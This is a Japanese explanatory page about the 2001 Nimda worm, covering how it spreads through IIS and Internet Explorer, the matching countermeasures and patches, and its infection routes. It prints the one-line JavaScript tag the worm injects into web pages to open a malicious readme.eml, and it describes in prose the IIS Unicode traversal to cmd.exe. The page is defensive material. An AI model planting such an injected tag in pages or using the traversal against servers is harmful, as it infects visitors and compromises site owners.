Nimdaウィルス対策方法&ウイルスの動作の原理


■Nimdaウイルスとは

 さまざまな経路を使って伝播するWindows 9x,NT,2000用ウイルス(ワーム)プログラム。
 主に伝播経路はWindows NT/2000のIIS 4.0,5.0とWindows 9x/NT/2000上のInternet Explorer 5.01/5.5(SP1)含む。
 ならびに、共有先やリムーバブルディスクなどで持ち込まれたウイルス入りファイルを実行したとき。(← http://www.dive-in.to/~osakana/diary/?200109c#20-2)を参考にしました。ありがとうございます)。

 IISサーバーに関してはウイルスのコア部分のみ感染してからFTPクライアントを使用してウイルス本体部分が感染する、とする報道もあり(※未確認)

 (追記)http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/nimda-sakai.txtによると、ウイルスが自分自身を添付ファイルに含むメールを送ることで他のマシンに伝播するというルートも存在する。

 被害としてはシステムとWebコンテンツの書き換え、並びに大量のトラフィックによる通信障害。
 (追記)ならびに、ネットワーク共有されているフォルダに対する自身のコピー、それに伴うサーバ資源の大量消費(http://www.dive-in.to/~osakana/diary/?200109c#20-2)より。ご指摘ありがとうございます)。

http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/nimda-sakai.txtによると、ウイルスが自分自身を添付ファイルに含むメールを送ることで他のマシンに伝播するというルートも存在するとのこと。

 発生ピークは2001年9月19日。

■対策方法


 1)InternetExplorerをService Pack2バージョンアップする。IE5.01,5.5それぞれ以下のページからダウンロードできる。
 Internet Explorer 5.01 Service Pack 2 のダウンロードページ
 http://www.microsoft.com/downloads/release.asp?ReleaseID=28910

 Internet Explorer 5.5Service Pack 2 のダウンロードページ
 http://www.microsoft.com/downloads/release.asp?releaseid=32082

 2)IIS(Webサーバーソフト)をインストールしてあるマシンの場合は、マイクロソフトの「Web サーバー フォルダへの侵入」の脆弱性に対する対策 (MS00-078) (http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078)にあるように、修正プログラムをダウンロードし、適用する。

 3)これらを適用したマシンでも、Webブラウズ中ファイルをダウンロードするか聞かれることがある。もし、ダウンロードした場合でも、その結果、作られる「readme.exe」や「readme.eml」は実行しない。

 4)以上の対策は未感染のものに対してのみ有効。既にウイルスに感染していないか、などを確認し、あるいは対策するためにはアンチウイルスソフトなどを利用することが望ましい。

■ウイルス伝播の仕組みと感染ルート(推測)


 Nimdaウィルスには2つの感染ルートがある。

1)Webサーバー → クライアント


 ひとつはウィルスを持ったWebサーバーがパソコンに感染させるルート。

 ウィルスに犯されたWebサーバーはWebページ上にJavaスクリプトで書かれた数行のプログラムを追加する。このページをアクセスしたパソコンのブラウザソフトにセキュリティホールがあった場合、Javaスクリプトが無条件に実行されてしまう。Javaスクリプトはパソコン上で実行されると、パソコンはウイルス本体プログラムの入っているメールファイルを読みこんでしまい、また、.exe(実行可能)形式のウイルス本体を実行する。この手順でパソコン上のシステムファイルにはウイルスがばらまかれて、パソコンのシステムはウイルスに感染した状態になる。

サーバーからクライアントへの感染の流れ

 具体的には、ウイルスに犯されるサーバーはWindows NT/2000上のIIS 4.0/5.0。
 ウイルスに犯されたサーバーのHTMLファイルそれぞれの末尾には次のようなタグが追加される。

<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>


 このタグにはJavaスクリプトで「readme.emlというファイルを表示せよ」という内容。.eml形式ファイルはメールデータファイルで通常はOutlook,Outlook Expressに関連付けされていて、開くとこれらを利用してファイルが開かれる。

 このreadme.emlファイルはマルチパートMIMEメールの形を取っていて、内容には「内容がaudio/x-wavでファイル名がreadme.exe」という実行可能なファイルになっている。Outlookなどはこのemlファイルを表示するために内部でInternetExplorerを呼び出す。
 で、本来、このメールファイル内の.exeファイルは表示しただけでは実行されてはならないが、

不適切な MIME ヘッダーが原因で Internet Explorer が電子メールの添付ファイルを実行する (MS01-020)(http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS01-020)

にあるように、未対策のInternetExplorerが「audio/x-wav」、つまりオーディオファイルであると勘違いし、ファイルを即座に実行してしまう。

 このreadme.exeがウイルス本体の実行ファイルでシステムを書き換え、PCがウイルスに感染した状態にする。

 なお、Internet Explorer 5.01/5.5 SP2で取られた対策は「不適切な MIME ヘッダーが原因で Internet Explorer が電子メールの添付ファイルを実行する」ことを防いだもので、スクリプト自体は実行する。そのため、readme.exe自体はウイルスに犯されたサーバーからダウンロードしようとする(ダイアログでユーザーにダウンロードするかどうか確認する)。
 その場合もreadme.exe自体がウイルスプログラムであることに変わりはないので、ダウンロード後、ユーザーが実行してしまうと、対策済みのIEを使っていても、結局はPCがウイルスに感染してしまうことになる。

2) クライアント → サーバー


 もうひとつは逆にパソコン(またはサーバーマシンとして感染したマシンがクライアントとして)がサーバーに感染させるルート。感染したパソコン上でウイルスプログラムが起動し、他のWebサーバー(セキュリティホールのあるバージョンのIIS)に感染するルート。クライアントのパソコンが不正なURLを利用してサーバー内のデータ(Webページなど)を書き換える。

 IISはブラウザがあるURLを指定すると、そのURLのデータをIISの使用しているどこかに変換して、そのデータをクライアントに送る。通常、「URLがIISのデータフォルダのどこか」に変換する作業は、セキュリティのために、IISのデータフォルダの中から外に出ることはない。が、対策のされていないIISでは「/」や「\」がUNICODE文字列で表現されていた場合、ルートフォルダ(サーバーのトップページのデータがあるフォルダ)を超えてOS内部のフォルダやファイルの位置が指定できてしまう。

 このウイルスはそれを悪用し、ブラウザでのコンテンツの閲覧とみせかけて、問題のあるURLのデータをサーバーに送りWindowsNTのシステムフォルダにある「cmd.exe」などのプログラムを呼び出す。この「cmd.exe」はWindowsNT系のコマンドシェルで文字列を渡せば(実行されているユーザーの権限内で)任意のコマンドが実行できてしまう。そこで、これなどを利用して、Webコンテンツにウイルスプログラムを仕込ませる、などの作業を行わせて、サーバーへのウイルスの感染という作業を行う。

 (追記)http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/nimda-sakai.txtによると、「code redII」というウイルスに感染したマシンの場合は、既にこのウイルスが作ったバックドア(ウイルスによって作られた抜け穴)を利用して感染するという方法も存在するようです。

サーバーへのウイルスの感染の仕組み

 なお、このIISのセキュリティホールは、今年5月に発生したSadmindワーム(Sun SolarisマシンからIIS 4.0/5.0に影響するワーム)にも利用されていたもので、本来、この時点で対策されていれば利用されないはずのセキュリティホール。